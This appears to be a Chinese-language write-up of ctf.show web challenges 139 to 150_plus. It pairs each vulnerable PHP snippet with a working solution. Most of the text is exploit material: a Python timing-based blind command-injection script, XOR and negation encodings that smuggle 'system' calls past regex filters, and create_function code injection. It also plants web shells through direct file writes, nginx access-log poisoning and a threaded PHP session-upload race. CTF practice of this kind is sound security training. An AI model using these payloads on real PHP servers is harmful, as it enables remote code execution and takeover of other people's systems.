1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 import stringimport timeimport requestsurl = "http://bd33e54f-6289-4649-b28f-de3bd362f3d4.challenge.ctf.show:8080/" payload = "cat /f149_15_h3r3" template = "if [ `{payload}|awk 'NR=={line}'|cut -c {index}` == {char} ];then sleep 3;fi" def valid_char (line: int , index: int , char: str ) -> bool : start_time = time.time() _ = requests.get(url, params={ "c" : template.format ( payload=payload, line=line, index=index, char=char ) }) end_time = time.time() return end_time - start_time >= 2.5 result = "" for i in range (1 , 100 ): for c in string.printable: if c == " " : result += " " if valid_char(1 , i, c): result += c print (f"[*] result: {result} " ) break
web140 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php error_reporting (0 );highlight_file (__FILE__ );if (isset ($_POST ['f1' ]) && isset ($_POST ['f2' ])){ $f1 = (String)$_POST ['f1' ]; $f2 = (String)$_POST ['f2' ]; if (preg_match ('/^[a-z0-9]+$/' , $f1 )){ if (preg_match ('/^[a-z0-9]+$/' , $f2 )){ $code = eval ("return $f1 ($f2 ());" ); if (intval ($code ) == 'ctfshow' ){ echo file_get_contents ("flag.php" ); } } } }
弱类型比较,'ctfshow'
在比较时会被转换成 int(0)
,所以前面的 $code
只需要能被 intval
函数转换为 int(0)
就行。 payload: f1=dir&f2=system
web141 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php highlight_file (__FILE__ );if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ]) && isset ($_GET ['v3' ])){ $v1 = (String)$_GET ['v1' ]; $v2 = (String)$_GET ['v2' ]; $v3 = (String)$_GET ['v3' ]; if (is_numeric ($v1 ) && is_numeric ($v2 )){ if (preg_match ('/^\W+$/' , $v3 )){ $code = eval ("return $v1 $v3 $v2 ;" ); echo "$v1 $v3 $v2 = " .$code ; } } }
正则过滤了字母数字下划线,还可以用取反或者异或绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php var_dump ("-(~" .urlencode (~'system' ).")(~" .urlencode (~'tac flag.php' ).");" );$ways = array ();for ($i =128 ;$i <=256 ;$i ++) { for ($j =128 ;$j <=256 ;$j ++) { $a = $i ^ $j ; if (31 < $a && $a < 127 ) { $key = urldecode ("%" .base_convert ($a , 10 , 16 )); $ways [$key ][] = ["%" .strtoupper (base_convert ($i , 10 , 16 )), "%" .strtoupper (base_convert ($j , 10 , 16 ))]; } } } function make_xor ($str ) { $str_a = "" ; $str_b = "" ; global $ways ; foreach (str_split ($str ) as $s ) { $way = $ways [$s ][0 ]; $str_a .= $way [0 ]; $str_b .= $way [1 ]; } return "$str_a ^$str_b " ; } var_dump ("-(" .make_xor ("system" ).")(" .make_xor ("tac flag.php" ).");//" );
payload: ?v1=1&v2=2&v3=-(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F);
payload: -(%80%80%80%80%80%80^%F3%F9%F3%F4%E5%ED)(%80%80%80%80%80%80%80%80%80%80%80%80^%F4%E1%E3%A0%E6%EC%E1%E7%AE%F0%E8%F0);
web142 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php error_reporting (0 );highlight_file (__FILE__ );if (isset ($_GET ['v1' ])){ $v1 = (String)$_GET ['v1' ]; if (is_numeric ($v1 )){ $d = (int )($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d ); sleep ($d ); echo file_get_contents ("flag.php" ); } }
要求参数 v1
是个能过 is_numeric
函数的字符串,还要 sleep
$v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d
这么多秒,传 0 就能绕过。 payload: ?v1=0
web143 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php highlight_file (__FILE__ );if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ]) && isset ($_GET ['v3' ])){ $v1 = (String)$_GET ['v1' ]; $v2 = (String)$_GET ['v2' ]; $v3 = (String)$_GET ['v3' ]; if (is_numeric ($v1 ) && is_numeric ($v2 )){ if (preg_match ('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i' , $v3 )){ die ('get out hacker!' ); } else { $code = eval ("return $v1 $v3 $v2 ;" ); echo "$v1 $v3 $v2 = " .$code ; } } }
相比 141 禁用了 ~
那就只能异或了,还禁用了 -
可以用 *
代替,禁用了 ;
可以用 ?>
代替。 payload: ?v1=1&v2=2&v3=*(%80%80%80%80%80%80^%F3%F9%F3%F4%E5%ED)(%80%80%80%80%80%80%80%80%80%80%80%80^%F4%E1%E3%A0%E6%EC%E1%E7%AE%F0%E8%F0)?%3E
web144 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php highlight_file (__FILE__ );if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ]) && isset ($_GET ['v3' ])){ $v1 = (String)$_GET ['v1' ]; $v2 = (String)$_GET ['v2' ]; $v3 = (String)$_GET ['v3' ]; if (is_numeric ($v1 ) && check ($v3 )){ if (preg_match ('/^\W+$/' , $v2 )){ $code = eval ("return $v1 $v3 $v2 ;" ); echo "$v1 $v3 $v2 = " .$code ; } } } function check ($str ) { return strlen ($str )===1 ?true :false ; }
位置改到了 v2
,其他照旧 payload: ?v1=1&v3=2&v2=*(%80%80%80%80%80%80^%F3%F9%F3%F4%E5%ED)(%80%80%80%80%80%80%80%80%80%80%80%80^%F4%E1%E3%A0%E6%EC%E1%E7%AE%F0%E8%F0)?%3E
web145 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php highlight_file (__FILE__ );if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ]) && isset ($_GET ['v3' ])){ $v1 = (String)$_GET ['v1' ]; $v2 = (String)$_GET ['v2' ]; $v3 = (String)$_GET ['v3' ]; if (is_numeric ($v1 ) && is_numeric ($v2 )){ if (preg_match ('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i' , $v3 )){ die ('get out hacker!' ); } else { $code = eval ("return $v1 $v3 $v2 ;" ); echo "$v1 $v3 $v2 = " .$code ; } } }
相比之前禁用了异或,但又解禁了取反,搁着反复横跳呢?+-*/;>
都被禁用了,还可以用 |
或者三元表达式连接前后的数字。 payload: ?v1=1&v2=2&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F)|
web146 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php highlight_file (__FILE__ );if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ]) && isset ($_GET ['v3' ])){ $v1 = (String)$_GET ['v1' ]; $v2 = (String)$_GET ['v2' ]; $v3 = (String)$_GET ['v3' ]; if (is_numeric ($v1 ) && is_numeric ($v2 )){ if (preg_match ('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i' , $v3 )){ die ('get out hacker!' ); } else { $code = eval ("return $v1 $v3 $v2 ;" ); echo "$v1 $v3 $v2 = " .$code ; } } }
禁用了三元表达式,对上题的 payload 没影响,一把梭 payload: ?v1=1&v2=2&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F)|
web147 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php highlight_file (__FILE__ );if (isset ($_POST ['ctf' ])){ $ctfshow = $_POST ['ctf' ]; if (!preg_match ('/^[a-z0-9_]*$/isD' ,$ctfshow )) { $ctfshow ('' ,$_GET ['show' ]); } }
根命名空间调用全局函数绕过正则,create_function
函数代码注入。 url: ?show=;}system('tac flag.php');//
body: ctf=\create_function
web148 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php include 'flag.php' ;if (isset ($_GET ['code' ])){ $code =$_GET ['code' ]; if (preg_match ("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/" ,$code )){ die ("error" ); } @eval ($code ); } else { highlight_file (__FILE__ ); } function get_ctfshow_fl0g ( ) { echo file_get_contents ("flag.php" ); }
没过滤异或,改一下前面的脚本用用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php $ways = array ();for ($i =128 ;$i <=256 ;$i ++) { for ($j =128 ;$j <=256 ;$j ++) { $a = $i ^ $j ; if (31 < $a && $a < 127 ) { $key = urldecode ("%" .base_convert ($a , 10 , 16 )); $ways [$key ][] = ["%" .strtoupper (base_convert ($i , 10 , 16 )), "%" .strtoupper (base_convert ($j , 10 , 16 ))]; } } } function make_xor ($str ) { $str_a = "" ; $str_b = "" ; global $ways ; foreach (str_split ($str ) as $s ) { $way = $ways [$s ][0 ]; $str_a .= $way [0 ]; $str_b .= $way [1 ]; } return "$str_a ^$str_b " ; } var_dump ("(" .make_xor ("get_ctfshow_fl0g" ).")();" );
payload: ?code=(%80%80%80%80%80%80%80%80%80%80%80%80%80%80%80%80^%E7%E5%F4%DF%E3%F4%E6%F3%E8%EF%F7%DF%E6%EC%B0%E7)();
web149 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php error_reporting (0 );highlight_file (__FILE__ );$files = scandir ('./' ); foreach ($files as $file ) { if (is_file ($file )){ if ($file !== "index.php" ) { unlink ($file ); } } } file_put_contents ($_GET ['ctf' ], $_POST ['show' ]);$files = scandir ('./' ); foreach ($files as $file ) { if (is_file ($file )){ if ($file !== "index.php" ) { unlink ($file ); } } }
预期解是条件竞争,但是网不好就读不出 flag,用了非预期在 index.php
写 shell。 url: ?ctf=index.php
body: show=<?php eval($_POST[1]);
web150 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 <?php include ("flag.php" );error_reporting (0 );highlight_file (__FILE__ );class CTFSHOW { private $username ; private $password ; private $vip ; private $secret ; function __construct ( ) { $this ->vip = 0 ; $this ->secret = $flag ; } function __destruct ( ) { echo $this ->secret; } public function isVIP ( ) { return $this ->vip?TRUE :FALSE ; } } function __autoload ($class ) { if (isset ($class )){ $class (); } } $key = $_SERVER ['QUERY_STRING' ];if (preg_match ('/\_| |\[|\]|\?/' , $key )){ die ("error" ); } $ctf = $_POST ['ctf' ];extract ($_GET );if (class_exists ($__CTFSHOW__ )){ echo "class is exists!" ; } if ($isVIP && strrpos ($ctf , ":" )===FALSE ){ include ($ctf ); }
非预期日志文件包含,在尝试写 shell 的时候被套娃问题坑到,日志这里还是容易忽略。 url: ?isVIP=1
body: ctf=/var/log/nginx/access.log&1=file_put_contents('sh.php', base64_decode("PD9waHAgZXZhbCgkX1BPU1RbMV0pOw=="));
UA: <?php eval($_POST[1]); ?>
web150_plus 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 <?php include ("flag.php" );error_reporting (0 );highlight_file (__FILE__ );class CTFSHOW { private $username ; private $password ; private $vip ; private $secret ; function __construct ( ) { $this ->vip = 0 ; $this ->secret = $flag ; } function __destruct ( ) { echo $this ->secret; } public function isVIP ( ) { return $this ->vip?TRUE :FALSE ; } } function __autoload ($class ) { if (isset ($class )){ $class (); } } $key = $_SERVER ['QUERY_STRING' ];if (preg_match ('/\_| |\[|\]|\?/' , $key )){ die ("error" ); } $ctf = $_POST ['ctf' ];extract ($_GET );if (class_exists ($__CTFSHOW__ )){ echo "class is exists!" ; } if ($isVIP && strrpos ($ctf , ":" )===FALSE && strrpos ($ctf ,"log" )===FALSE ){ include ($ctf ); }
修复了非预期,不让包含日志文件了。 这里利用了 extract
覆盖变量会把 空格 [ .
都给转成下划线的特性,绕过正则过滤。然后就是 class_exists
第二个参数默认为 true
,在类不存在时会调用 __autoload
函数,__autoload
这里写的是调用要加载的类名的函数,传 phpinfo
就能得到 session
相关信息,从而包含 session
。 payload1: ?..CTFSHOW..=phpinfo
可以看到 session.use_strict_mode
为 Off,说明可以自定义 session_id
,控制 session
文件名, session.save_path
为空,确定文件包含路径 /tmp/sess_{session_id}
。改一下祖传脚本写 shell。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import io import requests import threading url = 'http://fa7db7de-329e-44cf-8270-bcd8d7f96368.challenge.ctf.show:8080/?isVIP=1' event = threading.Event () def write (session): data = { 'PHP_SESSION_UPLOAD_PROGRESS' : 'aaaaaa<?php file_put_contents("/var/www/html/s.php", base64_decode("PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg=="));?>' } while True: if event.is_set (): return f = io.BytesIO (b'a' * 1024 * 10 ) _ = session.post (url,cookies={'PHPSESSID' : 'down' }, data=data, files={'file' : ('verysafe.txt' , f)}) def read (session): while True: if event.is_set (): return response = session.post (url, data={"ctf" : "/tmp/sess_down" }) if 'aaaaaa' in response.text: print (response.text) event.set () else : print ('retry' ) if __name__ == '__main__' : session = requests.session () for i in range (30 ): threading.Thread (target=write, args=(session,)).start () for i in range (30 ): threading.Thread (target=read, args=(session,)).start () event.wait ()